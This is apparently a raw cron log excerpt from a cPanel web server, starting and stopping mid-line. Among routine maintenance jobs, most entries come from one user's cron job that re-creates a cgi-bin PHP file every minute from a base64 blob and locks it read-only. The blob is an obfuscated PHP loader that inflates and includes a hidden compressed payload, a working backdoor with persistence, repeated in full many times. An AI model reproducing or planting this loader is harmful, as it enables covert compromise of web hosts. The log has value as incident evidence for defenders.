Hg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 00:26:01 server CROND[25440]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 00:26:01 server CROND[25441]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 00:26:01 server CROND[25442]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 00:27:01 server CROND[25929]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 00:27:01 server CROND[25930]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 00:27:01 server CROND[25932]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 00:27:01 server CROND[25931]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 00:28:01 server CROND[26320]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 00:28:02 server CROND[26324]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 00:28:02 server CROND[26323]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 00:29:01 server CROND[26693]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 00:29:01 server CROND[26694]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 00:29:01 server CROND[26695]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 00:30:01 server CROND[27087]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 00:30:01 server CROND[27090]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 00:30:01 server CROND[27091]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 00:30:01 server CROND[27098]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 00:30:01 server CROND[27096]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 00:30:01 server CROND[27094]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 00:30:01 server CROND[27101]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 00:30:01 server CROND[27099]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep 10 00:30:01 server CROND[27095]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 00:31:01 server CROND[27927]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 00:31:01 server CROND[27926]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 00:31:01 server CROND[27928]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 00:32:01 server CROND[28297]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 00:32:01 server CROND[28298]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 00:32:01 server CROND[28299]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 00:33:01 server CROND[28776]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 00:33:01 server CROND[28777]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 00:33:01 server CROND[28779]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 00:34:01 server CROND[29149]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 00:34:01 server CROND[29148]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 00:34:01 server CROND[29150]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 00:35:01 server CROND[29535]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 00:35:01 server CROND[29537]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 00:35:01 server CROND[29544]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 00:35:01 server CROND[29539]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 00:35:01 server CROND[29540]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 00:35:01 server CROND[29542]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 00:35:01 server CROND[29545]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 00:35:01 server CROND[29538]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 10 00:35:01 server CROND[29541]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 00:36:01 server CROND[30385]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 00:36:01 server CROND[30386]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 00:36:01 server CROND[30387]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 00:37:02 server CROND[30756]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxC